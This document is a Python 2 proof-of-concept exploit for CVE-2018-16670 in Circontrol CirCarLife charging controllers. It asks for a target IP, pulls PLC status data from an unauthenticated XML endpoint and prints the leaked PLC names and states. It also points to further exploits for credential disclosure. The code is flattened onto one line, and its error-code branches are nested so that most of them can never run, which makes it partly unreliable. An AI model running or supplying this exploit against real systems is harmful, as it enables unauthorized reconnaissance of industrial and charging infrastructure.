CIRCONTROL CirCarLife 安全漏洞 (CVE-2018-16670)

#POC for CVE-2018-16670 #More POCs and complete log parser for credentials and system specifications disclosure at https://github.com/SadFud/Exploits/tree/master/Real%20World/SCADA%20-%20IOT%20Systems import requests from termcolor import colored import xml.etree.ElementTree as ET plcs = [] def ldevstat(): print colored('[*] Getting plc status via CVE-2018-16670', 'blue') leakstats = requests.get(target1 + '/services/user/values.xml?var=STATUS') statsraw = leakstats.text tree = ET.fromstring(statsraw) for i in range(0,len(tree.findall(".//variable"))): for j in range(0,2): plcs.append(tree[i][j].text) print colored('[+] information leaked from ' + str(len(plcs)/2) + ' plcs', 'green') return plcs def plcstatus(code): code = int(code) if code == 1: print colored('[+] OK', 'green') elif code == 2: if code == 0x10: if code == 0x20: print colored('[-] Error: Time out.', 'red') elif code == 0x40: print colored('[-] Error: Bad device.', 'red') elif code == 0x80: print colored('[-] Error: Bad phase.', 'red') elif code == 0x100: print colored('[-] Error: Bad version.', 'red') else: print colored('[-] Error: Unknown error.', 'red') elif code == 4: print colored('[-] Error: not initialized.', 'red') else: print colored('[?] Unknown code.', 'yellow') url = raw_input('Insert target ip: ') target1 = 'http://' + url plcs = ldevstat() for i in range(0,len(plcs)): if ((i % 2) != 0): codigo = plcs[i].split('.') plcstatus(codigo[0]) else: nombre = plcs[i].replace('.STATUS', '') print colored('[+] PLC name: ' + nombre, 'green')